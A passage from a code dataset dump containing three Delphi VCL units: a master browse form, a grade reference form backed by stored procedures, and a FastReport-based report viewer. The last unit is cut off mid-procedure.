text stringlengths 14 6.51M |
|---|
unit ufrmMasterBrowse;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes,
Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, ufrmMaster, cxStyles,
cxClasses, Vcl.StdCtrls, Vcl.ExtCtrls, cxGraphics, cxControls, cxLookAndFeels,
cxLookAndFeelPainters, cxContainer, cxEdit, Vcl.ComCtrls, dxCore, cxDateUtils,
cxCustomData, cxFilter, cxData, cxDataStorage, cxNavigator, Data.DB, cxDBData,
cxGridLevel, cxGridCustomView, cxGridCustomTableView, cxGridTableView,
cxGridDBTableView, cxGrid, cxTextEdit, cxMaskEdit, cxDropDownEdit, cxCalendar,
cxLabel, ufraFooter4Button, Vcl.Menus, cxButtons, System.Actions, Vcl.ActnList,
uInterface, ufrmMasterDialog, dxBarBuiltInMenu, cxPC, uDMClient, uClientClasses,
cxGridDBDataDefinitions;
type
TfrmMasterBrowse = class(TfrmMaster)
fraFooter4Button1: TfraFooter4Button;
lblFilterData: TcxLabel;
dtAwalFilter: TcxDateEdit;
dtAkhirFilter: TcxDateEdit;
btnSearch: TcxButton;
actlstBrowse: TActionList;
actAdd: TAction;
actEdit: TAction;
actClose: TAction;
actPrint: TAction;
actRefresh: TAction;
lblsdFilter: TcxLabel;
pgcBrowse: TcxPageControl;
tsBrowse: TcxTabSheet;
cxGrid: TcxGrid;
cxGridView: TcxGridDBTableView;
cxlvMaster: TcxGridLevel;
actExport: TAction;
procedure actCloseExecute(Sender: TObject);
procedure actExportExecute(Sender: TObject);
procedure actRefreshExecute(Sender: TObject);
procedure cxGridViewCellDblClick(Sender: TcxCustomGridTableView; ACellViewInfo:
TcxGridTableDataCellViewInfo; AButton: TMouseButton; AShift: TShiftState;
var AHandled: Boolean);
procedure FormCreate(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure cxGridViewDataControllerDetailExpanded(
ADataController: TcxCustomDataController; ARecordIndex: Integer);
private
FAutoRefreshData: Boolean;
protected
function ShowDialogForm(DlgFormClass: TMasterDlgClass; AID: String = ''):
Integer; dynamic;
procedure RefreshData; dynamic; abstract;
public
// constructor CreateWithUser(aOwner: TComponent; afrmMaster : TfrmMasterBrowse);
// overload;
procedure GetAndRunButton(AButtonName: string);
published
property AutoRefreshData: Boolean read FAutoRefreshData write FAutoRefreshData;
end;
TMasterBrowseClass = class of TfrmMasterBrowse;
var
frmMasterBrowse: TfrmMasterBrowse;
implementation
uses
System.DateUtils, uDXUtils;
{$R *.dfm}
procedure TfrmMasterBrowse.actCloseExecute(Sender: TObject);
begin
inherited;
Self.Close;
end;
procedure TfrmMasterBrowse.actExportExecute(Sender: TObject);
begin
inherited;
cxGridView.ExportToXLS();
end;
procedure TfrmMasterBrowse.actRefreshExecute(Sender: TObject);
begin
inherited;
RefreshData;
end;
procedure TfrmMasterBrowse.cxGridViewCellDblClick(Sender:
TcxCustomGridTableView; ACellViewInfo: TcxGridTableDataCellViewInfo;
AButton: TMouseButton; AShift: TShiftState; var AHandled: Boolean);
begin
inherited;
actEdit.Execute;
end;
procedure TfrmMasterBrowse.cxGridViewDataControllerDetailExpanded(
ADataController: TcxCustomDataController; ARecordIndex: Integer);
var
ARecord: TcxCustomGridRecord;
ADetailView: TcxCustomGridView;
begin
inherited;
ADataController.FocusedRecordIndex := ARecordIndex;
ADetailView := nil;
ARecord := TcxGridTableView(TcxGridDBDataController(ADataController).GridView).Controller.FocusedRecord;
if ARecord is TcxGridMasterDataRow then
with TcxGridMasterDataRow(ARecord) do
begin
ADetailView := ActiveDetailGridView;
TcxGridDBTableView(ADetailView).ApplyBestFit();
end;
end;
procedure TfrmMasterBrowse.FormCreate(Sender: TObject);
begin
inherited;
dtAwalFilter.Date := StartOfTheMonth(Now);
dtAkhirFilter.Date := Now;
AutoRefreshData := True;
Self.AssignKeyDownEvent;
WindowState := wsMaximized;
end;
procedure TfrmMasterBrowse.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
inherited;
if(Key = Ord('C'))and(ssctrl in Shift) then
GetAndRunButton('btnAdd')
else if(Key = Ord('E'))and(ssctrl in Shift) then
GetAndRunButton('btnUpdate')
else if(Key = VK_DELETE)and(ssctrl in Shift) then
GetAndRunButton('btnDelete')
else if(Key = VK_F5)and(ssctrl in Shift) then
GetAndRunButton('btnRefresh');
//else if ( Key = VK_ESCAPE) then
// Close;
end;
procedure TfrmMasterBrowse.FormShow(Sender: TObject);
begin
inherited;
if AutoRefreshData then
actRefresh.Execute;
if pgcBrowse.ActivePage = tsBrowse then Self.cxGrid.SetFocus;
end;
procedure TfrmMasterBrowse.GetAndRunButton(AButtonName: string);
var
i,j: word;
btnFoo: TcxButton;
begin
for i:=0 to ComponentCount-1 do
if (Components[i] is TfraFooter4Button) then
begin
for j:=0 to components[i].ComponentCount-1 do
if (components[i].Components[j].Name = AButtonName) then
begin
btnFoo := components[i].Components[j] as TcxButton;
btnFoo.Click;
exit;
end;
end;
end;
function TfrmMasterBrowse.ShowDialogForm(DlgFormClass: TMasterDlgClass; AID:
String = ''): Integer;
var
frm: TfrmMasterDialog;
MyInterface: ICRUDAble;
begin
frm := DlgFormClass.Create(Application);
Self.Enabled := False;
Try
if Supports(frm, ICRUDAble, MyInterface) then
if Assigned(MyInterface) and (AID<>'') then MyInterface.LoadData(AID);
Result := frm.ShowModal;
if (AutoRefreshData) and (Result = mrOk) then
RefreshData;
Finally
FreeAndNil(frm);
Self.Cursor := crDefault;
Self.Enabled := True;
Self.SetFocusRec(cxGrid);
End;
end;
end.
|
unit uPRK_SP_OCENKA;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, uPrK_SpravOneLevel, cxGraphics, cxStyles, cxCustomData,
cxFilter, cxData, cxDataStorage, cxEdit, DB, cxDBData, dxBar,
dxBarExtItems, FIBQuery, pFIBQuery, pFIBStoredProc, FIBDatabase,
pFIBDatabase, FIBDataSet, pFIBDataSet, ImgList, ActnList, cxGridLevel,
cxGridCustomTableView, cxGridTableView, cxGridDBTableView, cxClasses,
cxControls, cxGridCustomView, cxGrid, dxStatusBar,uPrK_Resources,
cxCheckBox;
type
TFormPRK_SP_OCENKA = class(TFormPrK_SpravOneLevel)
colIS_SPIVBESIDA: TcxGridDBColumn;
colIS_ZALIK: TcxGridDBColumn;
colOCENKA_NUM: TcxGridDBColumn;
procedure FormCreate(Sender: TObject);
procedure ActionADDExecute(Sender: TObject);
procedure ActionChangeExecute(Sender: TObject);
procedure ActionViewExecute(Sender: TObject);
procedure ActionVibratExecute(Sender: TObject);
private
procedure InicCaption;override;
public
{ Public declarations }
end;
type
TDataPrKSpravOcenka=class(TDataPrKSprav)
private
FIsSpivbesida: Smallint;
FIsZaliK: Smallint;
FOcenka_Num: Smallint;
constructor Create(aKodMax: Integer;aNppMax: Integer);overload;override;
constructor Create(aId:int64; aName:String; aShortName:String;
aKod:Integer;aNpp: Integer;
aIsSpivbesida :Smallint;aIsZaliK :Smallint;
aOcenka_Num :Smallint);overload;
procedure SetIsSpivbesida(const Value: Smallint);
procedure SetIsZaliK(const Value: Smallint);
procedure SetOcenka_Num(const Value: Smallint);
public
property Ocenka_Num :Smallint read FOcenka_Num write SetOcenka_Num;
property IsSpivbesida :Smallint read FIsSpivbesida write SetIsSpivbesida;
property IsZaliK :Smallint read FIsZaliK write SetIsZaliK;
end;
var
FormPRK_SP_OCENKA: TFormPRK_SP_OCENKA;
implementation
uses uConstants, uPrKKlassSprav, uPrKSpravEditOCENKA;
{$R *.dfm}
procedure TFormPRK_SP_OCENKA.FormCreate(Sender: TObject);
begin
inherited;
{ID_NAME должен стоять первым так как в SelectSQLText может делаться CloseOpen}
ID_NAME :='ID_SP_OCENKA';
if ParamSprav =Nil
then SelectSQLText :='Select * from PRK_SP_OCENKA_SELECT'
else SelectSQLText :='Select * from PRK_SP_OCENKA_SELECT where '
+'IS_SPIVBESIDA='+IntToStr(ParamSprav['Input']['IS_SPIVBESIDA'].AsInteger)+' and '
+'IS_ZALIK='+IntToStr(ParamSprav['Input']['IS_ZALIK'].AsInteger) +' and '
+'OCENKA_NUM<>0';
ShowNpp := false;
StoredProcAddName :='PRK_SP_OCENKA_ADD';
StoredProcChangeName :='PRK_SP_OCENKA_CHANGE';
StoredProcDelName :='PRK_SP_OCENKA_DEL';
//NamePrKSpravEdit := PrKSpravEditFobProt;// возможно это не надо будет
InicFormCaption :=nFormPRK_SP_OCENKA_Caption[IndexLanguage];
//CheckAccessAdd :='';
//CheckAccessChange :='';
//CheckAccessDel :='';
end;
procedure TFormPRK_SP_OCENKA.InicCaption;
begin
inherited;
colIS_SPIVBESIDA.Caption :=ncolIS_SPIVBESIDA[IndexLanguage];
colIS_ZALIK.Caption :=ncolIS_ZALIK[IndexLanguage];
colOCENKA_NUM.Caption :=ncolOCENKA_NUM[IndexLanguage];
end;
{ TDataPrKSpravFobProt }
constructor TDataPrKSpravOcenka.Create(aKodMax, aNppMax: Integer);
begin
inherited;
IsSpivbesida :=0;
IsZaliK :=0;
Ocenka_Num :=0;
end;
constructor TDataPrKSpravOcenka.Create(aId: int64; aName,
aShortName: String; aKod, aNpp: Integer; aIsSpivbesida, aIsZaliK,
aOcenka_Num: Smallint);
begin
Create(aId, aName, aShortName,aKod,aNpp);
IsSpivbesida :=aIsSpivbesida;
IsZaliK :=aIsZaliK;
Ocenka_Num :=aOcenka_Num;
end;
procedure TDataPrKSpravOcenka.SetIsSpivbesida(const Value: Smallint);
begin
FIsSpivbesida := Value;
end;
procedure TDataPrKSpravOcenka.SetIsZaliK(const Value: Smallint);
begin
FIsZaliK := Value;
end;
procedure TDataPrKSpravOcenka.SetOcenka_Num(const Value: Smallint);
begin
case Value of
0..12: FOcenka_Num := Value;
else FOcenka_Num :=0;
end;
end;
procedure TFormPRK_SP_OCENKA.ActionADDExecute(Sender: TObject);
var
DataPrKSpravAdd :TDataPrKSpravOcenka;
T:TFormPrKSpravEditOCENKA;
TryAgain :boolean;
begin
TryAgain:=false;
DataPrKSpravAdd:=TDataPrKSpravOcenka.Create(StrToInt(DataSetPrKSprav.FieldValues['KOD_MAX']),
StrToInt(DataSetPrKSprav.FieldValues['NPP_MAX']));
if DataSetPrKSprav.FieldValues[ID_NAME]<>Null
then DataPrKSpravAdd.Id:=StrToInt64(DataSetPrKSprav.FieldValues[ID_NAME]);
T := TFormPrKSpravEditOCENKA.Create(self,DataPrKSpravAdd,AllDataKods,AllDataNpps);
T.cxLabelFormCaption.Caption :=nFormKlassSpravEdit_Add[IndexLanguage];
if ShowNpp=true then
begin
T.cxLabelNPP.Visible :=true;
T.cxTextEditNPP.Visible :=true;
end;
if T.ShowModal=MrOk then
begin
StoredProcPrKSprav.Transaction.StartTransaction;
StoredProcPrKSprav.StoredProcName:=StoredProcAddName;
StoredProcPrKSprav.Prepare;
StoredProcPrKSprav.ParamByName('NAME').AsString :=DataPrKSpravAdd.Name;
StoredProcPrKSprav.ParamByName('SHORT_NAME').AsString :=DataPrKSpravAdd.ShortName;
StoredProcPrKSprav.ParamByName('KOD').AsInteger :=DataPrKSpravAdd.Kod;
StoredProcPrKSprav.ParamByName('NPP').AsInteger :=DataPrKSpravAdd.Npp;
StoredProcPrKSprav.ParamByName('IS_SPIVBESIDA').AsShort :=DataPrKSpravAdd.IsSpivbesida;
StoredProcPrKSprav.ParamByName('IS_ZALIK').AsShort :=DataPrKSpravAdd.IsZaliK;
StoredProcPrKSprav.ParamByName('OCENKA_NUM').AsShort :=DataPrKSpravAdd.Ocenka_Num;
try
StoredProcPrKSprav.ExecProc;
StoredProcPrKSprav.Transaction.commit;
DataPrKSpravAdd.Id:=StoredProcPrKSprav.FieldByName('ID_OUT').AsInt64;
except on e: Exception do
begin
MessageBox(Handle,Pchar(nMsgErrorTransaction[IndexLanguage]+chr(13)+
nMsgTryAgain[IndexLanguage]+nMsgOr[IndexLanguage]+nMsgToAdmin[IndexLanguage]+chr(13)+
e.Message),Pchar(nMsgBoxTitle[IndexLanguage]),MB_OK or MB_ICONWARNING);
StoredProcPrKSprav.Transaction.Rollback;
TryAgain:=true;
end;
end;
end;
T.Free;
T:=nil;
Obnovit(DataPrKSpravAdd.Id);
DataPrKSpravAdd.Free;
DataPrKSpravAdd:=nil;
if TryAgain=true
then ActionADDExecute(Sender);
end;
procedure TFormPRK_SP_OCENKA.ActionChangeExecute(Sender: TObject);
var
DataPrKSpravChange :TDataPrKSpravOcenka;
T:TFormPrKSpravEditOCENKA;
TryAgain :boolean;
begin
TryAgain:=false;
if DataSetPrKSprav.FieldValues[ID_NAME]<>Null then
begin
DataPrKSpravChange:=TDataPrKSpravOcenka.Create(StrToInt64(DataSetPrKSprav.FieldValues[ID_NAME]),
DataSetPrKSprav.FieldValues['NAME'],
DataSetPrKSprav.FieldValues['SHORT_NAME'],
StrToInt(DataSetPrKSprav.FieldValues['KOD']),
StrToInt(DataSetPrKSprav.FieldValues['NPP']),
DataSetPrKSprav.FieldValues['IS_SPIVBESIDA'],
DataSetPrKSprav.FieldValues['IS_ZALIK'],
DataSetPrKSprav.FieldValues['OCENKA_NUM']);
T:=TFormPrKSpravEditOCENKA.Create(self,DataPrKSpravChange,AllDataKods,AllDataNpps);
T.cxLabelFormCaption.Caption :=nFormKlassSpravEdit_Change[IndexLanguage];
if ShowNpp=true then
begin
T.cxLabelNPP.Visible :=true;
T.cxTextEditNPP.Visible :=true;
end;
if T.ShowModal=MrOk then
begin
StoredProcPrKSprav.Transaction.StartTransaction;
StoredProcPrKSprav.StoredProcName:=StoredProcChangeName;
StoredProcPrKSprav.Prepare;
StoredProcPrKSprav.ParamByName(ID_NAME).AsInt64 :=DataPrKSpravChange.Id;
StoredProcPrKSprav.ParamByName('NAME').AsString :=DataPrKSpravChange.Name;
StoredProcPrKSprav.ParamByName('SHORT_NAME').AsString :=DataPrKSpravChange.ShortName;
StoredProcPrKSprav.ParamByName('KOD').AsInteger :=DataPrKSpravChange.Kod;
StoredProcPrKSprav.ParamByName('NPP').AsInteger :=DataPrKSpravChange.Npp;
StoredProcPrKSprav.ParamByName('IS_SPIVBESIDA').AsShort :=DataPrKSpravChange.IsSpivbesida;
StoredProcPrKSprav.ParamByName('IS_ZALIK').AsShort :=DataPrKSpravChange.IsZaliK;
StoredProcPrKSprav.ParamByName('OCENKA_NUM').AsShort :=DataPrKSpravChange.Ocenka_Num;
try
StoredProcPrKSprav.ExecProc;
StoredProcPrKSprav.Transaction.Commit;
except on e: Exception do
begin
MessageBox(Handle,Pchar(nMsgErrorTransaction[IndexLanguage]+chr(13)+
nMsgTryAgain[IndexLanguage]+nMsgOr[IndexLanguage]+nMsgToAdmin[IndexLanguage]+chr(13)+
e.Message),Pchar(nMsgBoxTitle[IndexLanguage]),MB_OK or MB_ICONWARNING);
StoredProcPrKSprav.Transaction.Rollback;
TryAgain:=true;
end;
end;
end;
T.Free;
T:=nil;
Obnovit(DataPrKSpravChange.Id);
DataPrKSpravChange.Free;
DataPrKSpravChange:=nil;
end;
if TryAgain=true
then ActionChangeExecute(sender);
end;
procedure TFormPRK_SP_OCENKA.ActionViewExecute(Sender: TObject);
var
DataPrKSpravView :TDataPrKSpravOcenka;
T:TFormPrKSpravEditOCENKA;
begin
if DataSetPrKSprav.FieldValues[ID_NAME]<>Null then
begin
DataPrKSpravView:=TDataPrKSpravOcenka.Create(StrToInt64(DataSetPrKSprav.FieldValues[ID_NAME]),
DataSetPrKSprav.FieldValues['NAME'],
DataSetPrKSprav.FieldValues['SHORT_NAME'],
StrToInt(DataSetPrKSprav.FieldValues['KOD']),
StrToInt(DataSetPrKSprav.FieldValues['NPP']),
DataSetPrKSprav.FieldValues['IS_SPIVBESIDA'],
DataSetPrKSprav.FieldValues['IS_ZALIK'],
DataSetPrKSprav.FieldValues['OCENKA_NUM']);
T:=TFormPrKSpravEditOCENKA.Create(self,DataPrKSpravView,AllDataKods,AllDataNpps);
if ShowNpp=true then
begin
T.cxLabelNPP.Visible :=true;
T.cxTextEditNPP.Visible :=true;
end;
T.cxLabelFormCaption.Caption :=nFormKlassSpravEdit_View[IndexLanguage];
T.cxTextEditName.Properties.ReadOnly :=true;
T.cxTextEditShortName.Properties.ReadOnly :=true;
T.cxTextEditKod.Properties.ReadOnly :=true;
T.cxTextEditNpp.Properties.ReadOnly :=true;
T.cxCheckBoxIsSpivbesida.Properties.ReadOnly :=true;
T.cxCheckBoxIsZalik.Properties.ReadOnly :=true;
T.cxSpinEditOcenka.Properties.ReadOnly :=true;
T.cxTextEditName.Style.Color :=TextViewColor;
T.cxTextEditShortName.Style.Color :=TextViewColor;
T.cxTextEditKod.Style.Color :=TextViewColor;
T.cxTextEditNpp.Style.Color :=TextViewColor;
T.cxCheckBoxIsSpivbesida.Style.Color :=TextViewColor;
T.cxCheckBoxIsZalik.Style.Color :=TextViewColor;
T.cxSpinEditOcenka.Style.Color :=TextViewColor;
T.ShowModal;
T.Free;
T:=nil;
DataPrKSpravView.Free;
DataPrKSpravView:=nil;
end;
end;
procedure TFormPRK_SP_OCENKA.ActionVibratExecute(Sender: TObject);
begin
if DataSetPrKSprav.FieldValues[ID_NAME]<>NULL then
begin
ResultArray :=VarArrayCreate([0,7], varVariant);
ResultArray[0] :=DataSetPrKSprav.FieldValues[ID_NAME];
ResultArray[1] :=DataSetPrKSprav.FieldValues['NAME'];
ResultArray[2] :=DataSetPrKSprav.FieldValues['SHORT_NAME'];
ResultArray[3] :=DataSetPrKSprav.FieldValues['KOD'];
ResultArray[4] :=DataSetPrKSprav.FieldValues['NPP'];
ResultArray[5] :=DataSetPrKSprav.FieldValues['IS_SPIVBESIDA'];
ResultArray[6] :=DataSetPrKSprav.FieldValues['IS_ZALIK'];
ResultArray[7] :=DataSetPrKSprav.FieldValues['OCENKA_NUM'];
close;
end;
end;
end.
|
unit MainReportsViewDPK;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, OleCtrls, SHDocVw, StdCtrls, cxStyles, cxCustomData,
cxGraphics, cxFilter, cxData, cxDataStorage, cxEdit, DB, cxDBData,
cxGridLevel, cxClasses, cxControls, cxGridCustomView,
cxGridCustomTableView, cxGridTableView, cxGridDBTableView, cxGrid,
FIBDatabase, pFIBDatabase, FIBDataSet, pFIBDataSet,IBase, RxMemDS,
StudcityConst,Printers, frxClass, frxDBSet, frxDesgn, FIBQuery,
pFIBQuery, pFIBStoredProc, cxContainer, cxLabel, ExtCtrls, frxExportXML,
frxExportXLS, frxExportImage, frxExportPDF, frxExportRTF, frxExportTXT;
type
TfrmMainReportsView = class(TForm)
pFIBDataSetPrintMaster: TpFIBDataSet;
Database: TpFIBDatabase;
Transaction: TpFIBTransaction;
RxMemoryData: TRxMemoryData;
frxDesigner1: TfrxDesigner;
pFIBDataSetPrintDetail: TpFIBDataSet;
DataSourceMaster: TDataSource;
frxDBDatasetDetails: TfrxDBDataset;
frxDBDatasetMaster: TfrxDBDataset;
pFIBStoredProcSaveRX: TpFIBStoredProc;
WriteTransaction: TpFIBTransaction;
pFIBDataSetPrintMasterRX: TpFIBDataSet;
frxDBDatasetMasterRX: TfrxDBDataset;
Panel1: TPanel;
Animate1: TAnimate;
cxLabel1: TcxLabel;
TimerReports: TTimer;
frxXLSExport1: TfrxXLSExport;
frxXMLExport1: TfrxXMLExport;
frxTXTExport1: TfrxTXTExport;
frxXLSExport2: TfrxXLSExport;
frxRTFExport1: TfrxRTFExport;
frxPDFExport1: TfrxPDFExport;
frxTIFFExport1: TfrxTIFFExport;
frxReport: TfrxReport;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure SVLivers();
procedure RLivers();
procedure SVPay();
procedure RPay();
procedure RPaySubs();
procedure RPayLgot();
procedure SVPayDay();
procedure SVPayDaySM();
procedure ACC_OBOR();
procedure SVACC_OBOR();
procedure RNarush();
procedure SVNarush();
procedure RPropiskHistory();
procedure MarriedSt();
procedure RPaySubsRashifr();
procedure FormCreate(Sender: TObject);
procedure TimerReportsTimer(Sender: TObject);
private
is_debug : Boolean;
Constructor Create(AOwner : TComponent;DB:TISC_DB_HANDLE;Type_Report:Integer;
Sql_Master,Sql_Detail:String;FieldView,NotFieldView,FieldNameReport:Variant;Report_Name:String;LastIgnor:Integer;is_debug:Boolean);overload;
procedure RDocClear();
{ Private declarations }
public
{ Public declarations }
end;
function ReportsView(AOwner : TComponent;DB:TISC_DB_HANDLE;Type_Report:Integer;
Sql_Master,Sql_Detail:String;FieldView,NotFieldView,FieldNameReport:Variant;Report_Name:String;LastIgnor:Integer;is_debug:boolean):Integer;stdcall;
exports ReportsView;
var
frmMainReportsView: TfrmMainReportsView;
ReportName:String;
LastIg:Integer;
Type_R:Integer;
FV,NFV,FNR:Variant;
Sql_Master_l,Sql_Detail_l:String;
implementation
{$R *.dfm}
function ReportsView(AOwner : TComponent;DB:TISC_DB_HANDLE;Type_Report:Integer;
Sql_Master,Sql_Detail:String;FieldView,NotFieldView,FieldNameReport:Variant;Report_Name:String;LastIgnor:Integer; is_debug: boolean):Integer;
var
View:TfrmMainReportsView;
begin
View:=TfrmMainReportsView.Create(AOwner,DB,Type_Report,Sql_Master,Sql_Detail,FieldView,NotFieldView,FieldNameReport,Report_Name,LastIgnor,is_debug);
end;
Constructor TfrmMainReportsView.Create(AOwner : TComponent;DB:TISC_DB_HANDLE;Type_Report:Integer;
Sql_Master,Sql_Detail:String;FieldView,NotFieldView,FieldNameReport:Variant;Report_Name:String;LastIgnor:Integer; is_debug:boolean);
var
i,j:Integer;
FieldCount:Integer;
T:TcxDataSummaryItem;
MFR:TfrxMemoView;
CountVisible:Integer;
begin
Inherited Create(AOwner);
Sql_Master_l:=Sql_Master;
Sql_Detail_l:=Sql_Detail;
Self.is_debug := is_debug;
Database.Handle:=DB;
Type_R:=Type_Report;
FV:=FieldView;
NFV:=NotFieldView;
FNR:=FieldNameReport;
ReportName:=Report_Name;
LastIg:=LastIgnor;
TimerReports.Enabled:=true;
end;
procedure TfrmMainReportsView.FormCreate(Sender: TObject);
begin
Panel1.Visible:=true;
Animate1.CommonAVI := aviFindFolder;
Animate1.Active := true;
refresh;
end;
procedure TfrmMainReportsView.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
Action:=caFree;
//удаление
if ReportName='SVLivers' then
begin
pFIBStoredProcSaveRX.Database:=Database;
WriteTransaction.DefaultDatabase:=Database;
WriteTransaction.StartTransaction;
pFIBStoredProcSaveRX.Transaction:=WriteTransaction;
pFIBStoredProcSaveRX.StoredProcName:='ST_DT_REPORT_LIVER_SV_TEMP_DEL';
pFIBStoredProcSaveRX.Prepare;
pFIBStoredProcSaveRX.ParamByName('ID_TRANSACTION').AsInt64:=pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsInteger;
try
pFIBStoredProcSaveRX.ExecProc;
except
begin
Exit;
WriteTransaction.Rollback;
end;
end;
WriteTransaction.Commit;
end;
if ReportName='SVPayer' then
begin
pFIBStoredProcSaveRX.Database:=Database;
WriteTransaction.DefaultDatabase:=Database;
WriteTransaction.StartTransaction;
pFIBStoredProcSaveRX.Transaction:=WriteTransaction;
pFIBStoredProcSaveRX.StoredProcName:='ST_DT_REPORT_PAY_SV_TEMP_DEL';
pFIBStoredProcSaveRX.Prepare;
pFIBStoredProcSaveRX.ParamByName('ID_TRANSACTION').AsInt64:=pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsInteger;
try
pFIBStoredProcSaveRX.ExecProc;
except
begin
Exit;
WriteTransaction.Rollback;
end;
end;
WriteTransaction.Commit;
end;
if ReportName='SVACC_OBOR' then
begin
pFIBStoredProcSaveRX.Database:=Database;
WriteTransaction.DefaultDatabase:=Database;
WriteTransaction.StartTransaction;
pFIBStoredProcSaveRX.Transaction:=WriteTransaction;
pFIBStoredProcSaveRX.StoredProcName:='ST_ACCOUNT_OLAP_OBOR_SV_DELETE';
pFIBStoredProcSaveRX.Prepare;
pFIBStoredProcSaveRX.ParamByName('ID_TRANSACTION').AsInt64:=pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsInteger;
try
pFIBStoredProcSaveRX.ExecProc;
except
begin
Exit;
WriteTransaction.Rollback;
end;
end;
WriteTransaction.Commit;
end;
end;
procedure TfrmMainReportsView.RDocClear();
var
i,j,k:Integer;
countF,maxCountF:Integer;
FiledC,FiledT:array of Variant;
FlagEmpty,Ignor:Integer;
begin
countF:=0;
if Type_R=1 then
begin
RxMemoryData.Active:=false;
RxMemoryData.FieldDefs.Clear;
for i:=0 to VarArrayHighBound(FV,1) do
begin
RxMemoryData.FieldDefs.Add(FV[i][0],ftVariant);
RxMemoryData.FieldDefs.Add(FV[i][0]+'TB',ftVariant);
Inc(countF);
end;
RxMemoryData.Active:=true;
maxCountF:=countF;
SetLength(FiledC,LastIg+1);
for i:=0 to LastIg do
begin
FiledC[i]:='';
end;
RxMemoryData.Active:=true;
pFIBDataSetPrintMaster.FetchAll;
RxMemoryData.EmptyTable;
pFIBDataSetPrintMaster.First;
for j:=0 to pFIBDataSetPrintMaster.RecordCount-1 do
begin
RxMemoryData.Open;
RxMemoryData.Insert;
for i:=0 to VarArrayHighBound(FV,1) do
begin
RxMemoryData.FieldValues[FV[i][0]]:='';
RxMemoryData.FieldValues[FV[i][0]+'TB']:=0;
end;
end;
RxMemoryData.First;
for j:=0 to pFIBDataSetPrintMaster.RecordCount-1 do
begin
//проверка на объединение
countF:=0;
FlagEmpty:=0;
for i:=0 to LastIg do
begin
if FlagEmpty=0 then
begin
if FiledC[countF]<>pFIBDataSetPrintMaster.FieldByName(FV[i][0]).AsString then
begin
FlagEmpty:=1;
FiledC[countF]:='';
Inc(countF);
end
else
begin
Inc(countF);
end;
end
else
begin
FiledC[countF]:='';
Inc(countF);
end;
end;
//запись данных
RxMemoryData.Open;
RxMemoryData.Edit;
countF:=0;
Ignor:=0;
for i:=0 to VarArrayHighBound(FV,1) do
begin
if Ignor<=LastIg then
begin
if FiledC[countF]<>pFIBDataSetPrintMaster.FieldByName(FV[i][0]).AsString then
begin
RxMemoryData.FieldByName(FV[i][0]).Value:=pFIBDataSetPrintMaster.FieldValues[FV[i][0]];
FiledC[countF]:=pFIBDataSetPrintMaster.FieldByName(FV[i][0]).AsString;
Inc(countF);
end
else
begin
RxMemoryData.FieldValues[FV[i][0]]:='';
Inc(countF);
end;
Inc(Ignor);
end
else
begin
Inc(Ignor);
RxMemoryData.FieldByName(FV[i][0]).Value:=pFIBDataSetPrintMaster.FieldValues[FV[i][0]];
Inc(countF);
end;
end;
RxMemoryData.Post;
pFIBDataSetPrintMaster.Next;
RxMemoryData.Next;
end;
end;
//определение верхней границы
RxMemoryData.Last;
SetLength(FiledT,VarArrayHighBound(FV,1)+1);
//начальный забор данных
for j:=0 to VarArrayHighBound(FV,1) do
begin
FiledT[j]:=RxMemoryData.FieldByName(FV[j][0]).AsString;
end;
//проверка
RxMemoryData.Prior;
for i:=1 to RxMemoryData.RecordCount-1 do
begin
for j:=0 to VarArrayHighBound(FV,1) do
begin
if ((FiledT[j]<>'') and (RxMemoryData.FieldByName(FV[j][0]).AsString<>'')
or(FiledT[j]<>'') and (RxMemoryData.FieldByName(FV[j][0]).AsString='')) then
begin
RxMemoryData.Open;
RxMemoryData.Edit;
RxMemoryData.FieldValues[FV[j][0]+'TB']:=1;
end
else
begin
RxMemoryData.Open;
RxMemoryData.Edit;
RxMemoryData.FieldValues[FV[j][0]+'TB']:=0;
end;
FiledT[j]:=RxMemoryData.FieldByName(FV[j][0]).AsString;
end;
RxMemoryData.Prior;
end;
RxMemoryData.First;
//сохранение в БД
if ReportName='SVLivers' then
begin
//удаление
pFIBStoredProcSaveRX.Database:=Database;
WriteTransaction.DefaultDatabase:=Database;
WriteTransaction.StartTransaction;
pFIBStoredProcSaveRX.Transaction:=WriteTransaction;
pFIBStoredProcSaveRX.StoredProcName:='ST_DT_REPORT_LIVER_SV_TEMP_DEL';
pFIBStoredProcSaveRX.Prepare;
pFIBStoredProcSaveRX.ParamByName('ID_TRANSACTION').AsInt64:=pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsInteger;
try
pFIBStoredProcSaveRX.ExecProc;
except
begin
Exit;
WriteTransaction.Rollback;
end;
end;
WriteTransaction.Commit;
//сохранение
pFIBStoredProcSaveRX.Database:=Database;
WriteTransaction.DefaultDatabase:=Database;
WriteTransaction.StartTransaction;
pFIBStoredProcSaveRX.Transaction:=WriteTransaction;
pFIBStoredProcSaveRX.StoredProcName:='ST_DT_REPORT_LIVER_SV_TEMP_INS';
pFIBStoredProcSaveRX.Prepare;
RxMemoryData.First;
for j:=0 to RxMemoryData.RecordCount-1 do
begin
pFIBStoredProcSaveRX.ParamByName('ID_TRANSACTION').AsInt64:=pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsInteger;
for i:=0 to VarArrayHighBound(FV,1) do
begin
if (FV[i][0]='CNT') then
begin
pFIBStoredProcSaveRX.ParamByName(FV[i][0]).AsVariant:=RxMemoryData.FieldByName(FV[i][0]).AsVariant;
end
else
begin
pFIBStoredProcSaveRX.ParamByName(FV[i][0]).AsString:=RxMemoryData.FieldByName(FV[i][0]).AsString;
end;
pFIBStoredProcSaveRX.ParamByName(FV[i][0]+'TB').AsInteger:=RxMemoryData.FieldByName(FV[i][0]+'TB').AsInteger;
end;
try
pFIBStoredProcSaveRX.ExecProc;
except
begin
WriteTransaction.Rollback;
Exit;
end;
end;
RxMemoryData.Next;
end;
WriteTransaction.Commit;
end;
if ReportName='SVNarush' then
begin
//удаление
